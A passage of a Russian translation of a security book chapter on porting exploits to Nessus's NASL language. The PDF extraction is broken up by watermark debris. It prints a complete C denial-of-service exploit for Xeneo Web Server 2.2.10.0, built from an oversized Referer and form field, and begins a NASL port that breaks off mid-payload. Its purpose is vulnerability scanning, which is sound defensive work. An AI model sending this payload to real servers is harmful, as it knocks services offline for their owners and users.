Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

.pdf
Скачиваний:
14
Добавлен:
19.04.2024
Размер:
3.68 Mб
Скачать

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

 

 

e

 

 

 

 

 

d

 

 

xch183

 

 

 

 

 

 

f-

 

an

 

 

 

 

 

184 # Закрыть сокет.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Перенос на языке NASL и наоборот 131

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

185 http_close_socket(soc);

186

187# Если хост перестал отвечать, сообщить о серьезной проблеме

188if ( http_is_dead(port:port) ) security_hole(port);

189}

190}

Перенос на язык NASL и наоборот

Ïîä переносом кода понимается процедура перевода программы с одного языка на другой. Концептуально перенос выглядит просто, но на практике могут возникнуть сложности, так как надо хорошо знать оба языка. Если языки похожи, например, если речь идет о C и С++, которые имеют схожий синтаксис, набор библиотечных функций и так далее, то задача упрощается. Когда же нужно перенести программу на совсем другой язык, например, с Java на Perl, то все становится куда сложнее, поскольку синтаксис имеет мало общего, а методы проектирования, среды разработки и базовая идеология языков фундаментально различны.

NASL имеет больше общего с такими языками, как C и Perl, чем с жестко структурированными языками типа Java и Python. Синтаксически C и NASL очень похожи, а слабая типизация переменных и удобные высокоуровневые средства манипулирования строками напоминают Perl. Поэтому перенос с C или Perl на NASL, вероятно, покажется вам проще, чем с Java. К счастью, «эксплойты» на Java встречаются не так часто, как на C или Perl. Беглый анализ «эксплойтов» (см. сайт phathookups.com) показал, что примерно 90% написаны на C, 9.7% на Perl и только 0.3% на Java.

Логический анализ

Чтобы упростить процесс переноса, отвлекитесь от синтаксических различий между языками и сконцентрируйтесь на понимании логики программы. Попытайтесь понять, какими средствами программа достигает своих целей. Затем опишите существенные шаги и детали реализации на псевдокоде. И, наконец, переведите псевдокод на нужный вам язык. (Подробнее эти шаги будут описаны в следующей главе.)

Логическая структура программы

Чтение исходного текста – это самый прямой и обычный метод изучения интересующей вас программы. Помимо собственно исходного текста, ценная

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

132 Глава 2. Язык сценариев NASL

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

информация может содержаться в заголовочных файлах и комментариях. Если-x cha

 

 

 

 

 

речь идет о простом «эксплойте», то для понимания логики сценария может оказаться достаточным ознакомиться с его текстом. В более сложных случаях бывает полезно собрать сведения об «эксплойте» из других источников.

Начните с поиска извещения, которое соответствует «эксплойту». Если таковое существует, то в нем вы найдете информацию о характере уязвимости и методах ее эксплуатации. Если вам повезет, то в извещении будет точно написано, что делает «эксплойт» (переполнение буфера, атака на ошибки при контроле входных данных, исчерпание ресурсов и так далее). Не ограничи- вайтесь поиском извещения о самом «эксплойте», в различных онлайновых сообществах часто можно найти информативные обсуждения известных и вновь обнаруженных уязвимостей. Имейте в виду, что «эксплойты», размещаемые в списках рассылки с полным раскрытием информации, например,

âBugTraq, могут содержать намеренно внесенные ошибки. Автор может слегка «подправить» код, чтобы «эксплойт» не компилировался, или убрать из него важную функциональность, добавить сбивающие с толку комментарии или включать «троянский» код. Хотя некорректный код иногда публикуется по недосмотру, чаще ошибки вносятся осознанно, чтобы усложнить жизнь безграмотным «script kiddie», но при этом продемонстрировать возможность реализации «эксплойта» поставщикам программного обеспече- ния, профессионалам и квалифицированным хакерам.

Важно вычленить основные логические компоненты сценария, который вы собираетесь переносить, будь то путем изучения исходного текста или

âрезультате поиска опубликованной информации. В частности, разберитесь, сколько сетевых соединений создает «эксплойт», что это за соединения, какова природа полезной нагрузки и как эта нагрузка создается, зависит ли «эксплойт» от временных факторов.

Логический поток исполнения сценария может выглядеть примерно так:

1.Открыть сокет.

2.Установить соединение с удаленным хостом, указав номер порта, переданный в качестве аргумента.

3.Проверить шапку и убедиться в том, что хост отвечает.

4.Послать запрос HTPP GET, задав в нем длинную строку в качестве заголовка Referer.

5.Проверить, отвечает ли еще хост (пытаясь получить шапку).

Псевдокод

Получив общее представление о работе «эксплойта», переходите к детальному описанию отдельных шагов. Полезным на этом этапе может оказаться написание псевдокода (текста на смеси естественного языка и языка програм-

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Примечание

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Перенос на языке NASL и наоборот 133

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

«Эксплойты», извещения либо то и другое обычно выкладываются на следующие сайты:

http://www.securityfocus.com (эксплойты, извещения);

http://www.hack.co.za (эксплойты);

http://www.packetstormsecurity.net (эксплойты);

http://www.securiteam.com (эксплойты, извещения);

http://www.security protocols.com (эксплойты, извещения);

http://www.cert.org (извещения);

http://www.sans.org (извещения).

мирования), поскольку при попытке прямого построчного перевода, например, с C вы упустите из виду встроенные в NASL функции. Типичный псевдокод выглядит примерно так:

1example_exploit(ip, port)

2

target_ip =

ip

# вывести сообщение об

ошибке и выйти,

åñëè

3

 

 

# IP-адрес не указан

 

 

4

target_port

= port # если порт не задан,

по умолчанию 80

 

5

 

 

 

 

 

6local_socket = получить открытый сокет на локальной системе

7получить информацию об IP от хоста по адресу target_ip

8sock = структура, заполненная полученной информацией

9 my_socket = connect_socket (local_socket, sock)

10

11string payload = HTTP-заголовок с очень длинным Referer

12send(my_socket, payload, length(payload)

13exit

После написания детального псевдокода перевод его на язык реального «эксплойта» становится упражнением на понимание синтаксис языка, имеющихся функций и среды программирования. Если вы уже хорошо знакомы с языком, то этот этап пройдет легко. В противном случае придется заняться копированием примеров и листанием справочного руководства и руководства по программированию на нужном языке.

Перенос на NASL

Перенос «эксплойтов» на NASL имеет то очевидное преимущество, что к вашим услугам вся инфраструктура Nessus. Решившись на этот шаг, вы

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

134 Глава 2. Язык сценариев NASL

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

сможете поделиться своим сценарием с другими пользователями Nessus. Пе--x cha

 

 

 

 

 

ренос на NASL облегчает тот факт, что этот язык с самого начала ориентирован на поддержку разработки инструментов для обеспечения безопасности и проверок на уязвимость. Он предоставляет удобные средства, например, базу знаний и функции для манипулирования низкоуровневыми пакетами, строками и работы с сетевыми протоколами.

Можно предложить, к примеру, такой подход для переноса программ на язык NASL:

1.Соберите информацию об «эксплойте».

2.Изучите исходный текст.

3.Составьте высокоуровневое описание логики программы.

4.Напишите детальный псевдокод.

5.Переведите псевдокод на NASL.

6.Протестируйте NASL-сценарий с помощью командного интерпретатора.

7.Добавьте заголовок, описание и функции извещения о результатах работы.

8.Протестируйте дополненный сценарий в среде Nessus.

9.Если хотите, отправьте свой сценарий администратору Nessus.

Как видите, процесс переноса на язык NASL следует тем же общим принципам, что и для переноса на любой другой язык: разобраться в программе, написать псевдокод и преобразовать его в исходный текст.

Когда сценарий заработает в командном интерпретаторе, добавьте необходимые заголовок, описательные функции и функции извещения. После этого можете протестировать его в клиенте Nessus и отправить плоды своих трудов администратору Nessus, чтобы он включил его в библиотеку.

В следующих разделах эта процедура иллюстрируется на конкретных примерах.

Перенос на NASL с C/C++

В следующем примере демонстрируется удаленное переполнение буфера для Web-сервера Xeneo, вызывающее отказ от обслуживания.

1/* Xeneo Web Server 2.2.2.10.0 DoS

2*

3*Foster and Tommy

4 */

5

6#include <winsock2.h>

7#include <stdio.h>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan8

 

 

 

9 #pragma comment(lib, "ws2_32.lib")

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Перенос на языке NASL и наоборот 135

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

10

11 char exploit[] =

12

13 "GET /index.html?testvariable=&nexttestvariable=gif HTTP/1.1\r\n"

14"Referer:

http://localhost/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n"

15"Content-Type: application/x-www-form-urlencoded\r\n"

16"Connection: Keep-Alive\r\n"

17"Cookie: VARIABLE=SPLABS; path=/\r\n"

18"User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.2-2 i686)\r\n"

19"Variable: result\r\n"

20"Host: localhost\r\n"

21"Content-length: 513\r\n"

22"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png\r\n"

23"Accept-Encoding: gzip\r\n"

24"Accept-Language: en\r\n"

25"Accept-Charset: iso-8859-1,*,utf-8\r\n\r\n\r\n"

26

"whatyoutyped=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAААААААА

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAААААААА

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAААААААА

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAААААААА

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";

27

28 int main(int argc, char *argv[])

29{

30WSADATA wsaData;

31WORD wVersionRequested;

32struct hostent *pTarget;

33struct sockaddr_in sock;

34char *target, buffer[30000];

35int port,bufsize;

36SOCKET mysocket;

37

38if (argc < 2)

39{

40printf("Xeneo Web Server 2.2.10.0 DoS\r\n <badpack3t@securityprotocols.com>\r\n\r\n", argv[0]);

41printf("Tool Usage:\r\n %s <targetip> [targetport] (default is 80) \r\n\r\n", argv[0]);

42printf("www.security-protocols.com\r\n\r\n", argv[0]);

43exit(1);

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

136 Глава 2. Язык сценариев NASL

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

44 }

 

 

 

 

 

 

 

 

45

46wVersionRequested = MAKEWORD(1, 1);

47if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

49target = argv[1];

51// порт по умолчанию для атак через Web

52port = 80;

53

54if (argc >= 3) port = atoi(argv[2]);

55bufsize = 512;

56if (argc >= 4) bufsize = atoi(argv[3]);

58mysocket = socket(AF_INET, SOCK_STREAM, 0);

59if(mysocket==INVALID_SOCKET)

60{

61printf("Ошибка при создании сокета!\r\n");

62exit(1);

63}

64

65printf("Разрешение имени хоста...\n");

66if ((pTarget = gethostbyname(target)) == NULL)

67{

68printf("Не удалось разрешить имя %s\n", argv[1]);

69exit(1);

70}

71

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

72memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);

73sock.sin_family = AF_INET;

74sock.sin_port = htons((USHORT)port);

75

76printf("Соединяюсь...\n");

77if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))

78{

79printf("Не удалось соединиться с хостом.\n");

80exit(1);

81}

82

83printf("Соединение установлено!...\n");

84printf("Отправляю запрос...\n");

85if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)

86{

87printf("Ошибка при отправке полезной нагрузки эксплойта\r\n");

88closesocket(mysocket);

89exit(1);

90}

91

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

w Click

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xch92an

 

 

Перенос

printf("Удаленный Web-сервер атакован\r\n");

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

на языке NASL и наоборот 137

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

93closesocket(mysocket);

94WSACleanup();

95return 0;

96}

Целью этой атаки с переполнением буфера является ошибка в Web-сервере Xeneo2, воспользоваться которой можно, послав запрос GET по протоколу HTTP с очень длинным заголовком Referer и параметром whatyoutyped. Важно понимать, что делает «эксплойт» и как он это делает, но знать при этом все о Web-сервере Xeneo2 вовсе не обязательно.

Начнем анализ «эксплойта» с высокоуровневого описания алгоритма:

1.Открыть сокет.

2.Соединиться с удаленным хостом, указав переданный в командной строке номер TCP-порта.

3.Послать запрос HTTP GET с длинным заголовком Referer.

4.Проверить, что хост перестал отвечать.

Псевдокод этого сценария уже приводился в качестве примера выше. Для удобства повторим его:

1example_exploit(ip, port)

2

target_ip =

ip

# вывести сообщение об

ошибке и выйти,

åñëè

3

 

 

# IP-адрес не указан

 

 

4

target_port

= port # если порт не задан,

по умолчанию 80

 

5

 

 

 

 

 

6local_socket = получить открытый сокет на локальной системе

7получить информацию об IP от хоста по адресу target_ip

8sock = структура, заполненная полученной информацией

9 my_socket = connect_socket (local_socket, sock)

10

11string payload = HTTP-заголовок с очень длинным Referer

12send(my_socket, payload, length(payload)

13exit

Следующий шаг – перенести этот псевдокод на NASL, ориентируясь на приведенные в этой главе примеры и код других сценариев, которые можно загрузить с сайта nessus.org. Вот окончательный вариант NASL-сценария.

1 # Xeneo Web Server 2.2.10.0 DoS

2#

3# Уязвимые системы:

4 # Xeneo Web Server 2.2.10.0 DoS

5#

6 # Производитель:

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

138 Глава 2. Язык сценариев NASL

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

7 #

http://www.northernsolutions.com

 

 

 

df-xchan

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

8 #

 

 

 

 

 

 

 

 

 

 

 

 

9 # На основе:

 

 

 

 

 

 

 

 

 

10 # Основан на извещении опубликованном badpacket3t и ^Foster

 

 

 

 

 

 

 

 

 

11 # For Security Protocols Research Labs [23 апреля, 2003]

 

 

 

 

 

 

 

 

 

12 #

http://security-protocols.com/article.php?sid=1481

13#

14# История:

15# Xeneo 2.2.9.0 уязвим для двух разных DoS-àòàê:

16# (1) Xeneo_Web_Server_2.2.9.0_DoS.nasl

17# Эта атака "валит" сервер путем отправки запроса в виде очень

18# длинного URL, начинающегося со знака вопроса (например,

19 # /?AAAAA[....]AAAA).

20 # Ее обнаружил badpack3t, эксплойт написал Foster,

21 # а проверку на NASL – BEKRAR Chaouki.

22# (2) Xeneo_Percent_DoS.nasl

23# Эта атака "валит" сервер путем отправки ему запроса "/%A".

24# Ее обнаружил Carsten H. Eiram <che@secunia.com>,

25# à NASL-сценарий написал Michel Arboi.

26#

27

28 if ( description ) {

29script_version("$Revision:1.0$");

30name["english"] = "Xeneo Web Server 2.2.10.0 DoS";

31name["francais"] = "Xeneo Web Server 2.2.10.0 DoS";

32script_name(english:name["english"], francais:name["francais"]);

34desc["english"] = "

35Этот эксплойт был обнаружен вслед за двумя другими DoS-эксплойтами для Web-сервера Xeneo 2.2.9.0. Он выполняет слегка модифицированный

запрос GET с тем же результатом – сервер Xeneo падает.

36

37 Решение : перейти на последнюю версию Web-сервера Xeneo 38 Оценка риска : высокий";

39

40 script_description(english:desc["english"]);

41

42summary["english"] = "Xeneo Web Server 2.2.10.0 DoS";

43summary["francais"] = "Xeneo Web Server 2.2.10.0 DoS";

44script_summary(english:summary["english"],

45

francais:summary["francais"]);

46

 

47

script_category(ACT_DENIAL);

48

 

49

script_copyright(english:"No copyright.");

50

 

51family["english"] = "Denial of Service";

52family["francais"] = "Deni de Service";

53script_family(english:family["english"],

54francais:family["francais"]);

55script_dependencies("find_service.nes");

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

Перенос на языке NASL и наоборот 139

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

p

d

 

 

 

 

 

 

e

 

script_require_ports("Services/www",80);

 

 

p

d

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

x cha

g

 

 

 

 

 

 

 

f-

xch56

 

 

 

 

 

 

 

f-

 

 

 

 

 

 

 

 

 

 

an

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

57

 

 

 

exit(0);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

58 }

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

59

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

60 include("http_func.inc");

61

62port = get_kb_item("Services/www");

63if ( !port ) port = 80;

64if ( !get_port_state(port) ) exit(0);

66 if ( safe_checks() ) {

67

68# в режиме безопасной проверки только анализируется шапка

69b = get_http_banner(port: port);

70

71# Должно соответствовать Xeneo/2.0, 2.1, and 2.2.0-2.2.11

72if ( b =~ 'Server: *Xeneo/2\\.(([0-1][ \t\r\n.])|(2(\\.([0-9]|10|11 ))?[ \t\r\n]))' ) {

73report = "

74Xeneo Web Server версий 2.2.10.0 и ниже может быть "повален"

75путем отправки специального запроса GET, состоящего из нескольких

76сотен знаков процента и переменной с именем whatyoutyped, значение

77которой содержит несколько сотен букв A.

78

79 ** Отметим, что Nessus не выполняла реального теста, а

80 ** только проверила номер версии в шапке

81

82 Решение : перейти на последнюю версию Web-сервера Xeneo.

83 Оценка риска : высокий";

84

85security_hole(port: port, data: report);

86}

87

88

exit(0);

89

 

90 } else {

91

# режим безопасных проверок отключен, пробуем DoS-атаку

92

 

93

if ( http_is_dead(port:port) ) exit(0);

94

 

95soc = http_open_socket(port);

96if( soc ) {

97payload = "GET /index.html?testvariable=&nexttestvariable=gif HTTP/1.1\r\n

98Referer:

http://localhost/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

